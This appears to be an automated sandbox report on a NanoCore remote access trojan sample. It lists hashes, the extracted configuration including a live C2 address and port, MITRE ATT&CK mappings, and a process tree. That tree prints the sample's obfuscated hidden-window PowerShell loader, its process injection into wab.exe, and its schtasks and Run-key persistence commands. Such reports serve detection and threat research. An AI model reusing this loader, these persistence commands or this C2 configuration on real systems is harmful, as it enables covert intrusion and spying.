nanocore | 3cd4e2b09d674c052a784941e1f6504856efd125ff69cbe6bb8b7df1777f3ded

General

Target

8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
Size

575KB
MD5

57b1a55d388f0beeed00b19b8370c05b
SHA1

c0055a01f0b7dc7a78178b64d37ef6fd67dcb314
SHA256

2d3b04606612dc4008fd108cf2a825a8c1e58e8ab5578abbbac77ea39ed4f73e
SHA512

19fc0e1b9cc4a9bdce1670be9d7516e5f64bab145cf87467136724ef18817636e66ede0016623959d21535c2819649871e1d287b9bd4b34a7525c98aac4009ee
SSDEEP

12288:Tv3EFV27dnw8BrOkOXyekQNyyXYpKvgZ4eu+72Tt36eX0dlPZ:DU2dn/B3O8QssqKvgqeu+4tnuX

Score

10^/10

nanocore discovery execution keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

134.19.179.203:31279

Mutex

e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001

Attributes

activate_away_mode
true
backup_connection_host
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2024-06-11T02:19:05.486470936Z
bypass_user_account_control
false
bypass_user_account_control_data
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
31279
default_group
Default
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
e3a8bae3-78c2-40a6-9bf2-4d7fbecfd001
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
134.19.179.203
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
false
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2112	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\PCI Service = "C:\\Program Files (x86)\\PCI Service\\pcisvc.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\postscuttella\felix.lnk	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2796	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
2112	powershell.exe
2796	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2112 set thread context of 2796	2112	powershell.exe	33

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\bekldningsgenstands\Handelskurs247.fri	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
File created	C:\Program Files (x86)\PCI Service\pcisvc.exe	wab.exe
File opened for modification	C:\Program Files (x86)\PCI Service\pcisvc.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wab.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1360	schtasks.exe
2896	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe
2112	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2112	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	powershell.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2112	2504	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	30
PID 2504 wrote to memory of 2112	2504	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	30
PID 2504 wrote to memory of 2112	2504	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	30
PID 2504 wrote to memory of 2112	2504	8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe	30
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2112 wrote to memory of 2796	2112	powershell.exe	33
PID 2796 wrote to memory of 1360	2796	wab.exe	36
PID 2796 wrote to memory of 1360	2796	wab.exe	36
PID 2796 wrote to memory of 1360	2796	wab.exe	36
PID 2796 wrote to memory of 1360	2796	wab.exe	36
PID 2796 wrote to memory of 2896	2796	wab.exe	38
PID 2796 wrote to memory of 2896	2796	wab.exe	38
PID 2796 wrote to memory of 2896	2796	wab.exe	38
PID 2796 wrote to memory of 2896	2796	wab.exe	38

C:\Users\Admin\AppData\Local\Temp\8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe
"C:\Users\Admin\AppData\Local\Temp\8921FD_0279710820_2024092_017820935610_GDT0167836390-MALAYSIA.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden ; $Kviksoelv=Get-Content 'C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Aandeligs.spi';$Spangled=$Kviksoelv.SubString(19245,3);.$Spangled($Kviksoelv)
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2112
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Adds Run key to start application
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Program Files directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2796
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "PCI Service" /xml "C:\Users\Admin\AppData\Local\Temp\tmpE091.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:1360
  - - C:\Windows\SysWOW64\schtasks.exe
      "schtasks.exe" /create /f /tn "PCI Service Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmpE0FF.tmp"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:2896

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\tmpE091.tmp

Filesize
1KB

MD5
5ccc18c3f1852b87de26278cba055c13

SHA1
9233db8c004ac3e1b34c0782bac706a17bdc43ae

SHA256
7d588a9e361cccb0a3c97ec7ac99efe60e82932c64ab6efbfc929f51acb38432

SHA512
1ad0e9d090e93bdfa76c7ff60c5492c43265f53adf0ac23a7c831231e12822b11bae6d0840f92c8deddc9e08dbb383d24073ece791feaf36687692a437294ed7

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmpE0FF.tmp

Filesize
1KB

MD5
a4f6fa4537e2dcf0d3e2802c0f070a4d

SHA1
03545095bfeddd7656b5b8547ab84a810324a94f

SHA256
192ac26e1895b267149bde35c55327f4a441693495239da5899062924d45bd11

SHA512
a4293123d718b0511a8301a7f536e403cecf8bc89f25f9dc4692b293eb8a554a8eb67993a26fe0e96792b6eb3573b34e9b270777cafe95c2383268da6d40fd2e

Download Submit
C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Aandeligs.spi

Filesize
53KB

MD5
a37c3952ee3893cbf89f852bfd3002b7

SHA1
d788b7529db250df7e9e8ad7f3fa8f3bc4ad9035

SHA256
f51cb72204c964faeb4992fcadacc7a127fa3fec435700b2c09aa46fa47ffaf7

SHA512
7b94695d8788f692cb996becd245795d04d4cdfce4708c0d28095f82f004fe11397121eddabdca9813bca9fd7d27f596983bf83d059effc6ce128c8a49694e7e

Download Submit
C:\Users\Admin\AppData\Local\Unspliced\fordelen\ecuadoriansk\Srgerand\Erstatningsstrengen.dis

Filesize
405KB

MD5
d4717b9c25cc359ed707f3b965462a0a

SHA1
0e9947033f4ea69af4078c40fec3866b5ddd1be7

SHA256
d85a65228850c98722cfaa887722406605a188246801819b64b327520693abf3

SHA512
3dd4f606299763623e4ff78acd04b9b23eee93ccccf0a9b0fec34deb8e1841c16891d7d09b982def786c09e4f7b5e4eb7bd78febe45260c940053294f74beec6

Download Submit
memory/2112-13-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2112-14-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2112-10-0x0000000073CD1000-0x0000000073CD2000-memory.dmp

Filesize
4KB

Download
memory/2112-18-0x00000000065E0000-0x0000000009181000-memory.dmp

Filesize
43.6MB

Download
memory/2112-19-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2112-11-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2112-12-0x0000000073CD0000-0x000000007427B000-memory.dmp

Filesize
5.7MB

Download
memory/2796-39-0x0000000000630000-0x0000000001692000-memory.dmp

Filesize
16.4MB

Download
memory/2796-40-0x0000000000630000-0x0000000001692000-memory.dmp

Filesize
16.4MB

Download
memory/2796-42-0x0000000000630000-0x000000000066A000-memory.dmp

Filesize
232KB

Download
memory/2796-50-0x0000000004290000-0x000000000429A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads